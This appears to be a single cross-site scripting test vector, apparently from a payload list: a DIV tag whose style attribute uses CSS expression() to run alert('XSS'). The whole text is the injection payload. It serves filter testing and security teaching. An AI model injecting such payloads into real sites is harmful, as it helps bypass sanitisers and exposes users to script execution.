<DIV STYLE="width: expression(alert('XSS'));">